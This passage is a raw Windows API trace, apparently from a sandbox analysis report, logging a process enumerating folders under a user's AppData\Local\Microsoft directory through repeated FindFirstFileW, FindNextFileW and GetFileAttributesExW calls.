lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.142] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.143] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x44 [0070.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\internet explorer\\recovery"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6067210, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xd8de2760, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xd8de2760, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.144] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x44 [0070.144] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.144] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.144] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.144] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.144] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.144] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.144] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x4b [0070.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\internet explorer\\recovery\\active"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6067210, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x38d0dff0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x38d0dff0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x4b [0070.145] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.145] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.145] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.145] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x4b [0070.145] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.145] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.145] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.145] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x50 [0070.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8de2760, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x3bb9ee50, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x3bb9ee50, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.146] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x50 [0070.146] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.147] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.147] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.147] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.147] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.147] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.147] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x50 [0070.147] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.148] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.148] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.148] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.148] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.148] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x44 [0070.150] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.150] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.150] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.150] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.150] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.150] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.150] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3b [0070.150] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.151] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.151] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.151] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x36 [0070.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.151] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\media player"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xac47ac50, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac47ac50, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x36 [0070.152] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.162] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.162] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.162] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.162] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.162] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.162] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x45 [0070.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.163] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\media player\\sync playlists"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x45 [0070.163] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.163] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.164] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.164] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4b [0070.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.164] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xabfb8050, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xabfb8050, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.164] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4b [0070.164] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.164] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.164] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.165] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", lpFilePart=0x0) returned 0x54 [0070.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0070.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e2df"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xabfb8050, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xabfb8050, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xabfb8050, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0070.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.165] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", lpFilePart=0x0) returned 0x54 [0070.165] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.173] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.173] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.174] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF", lpFilePart=0x0) returned 0x54 [0070.174] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E2DF\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.174] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.174] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: 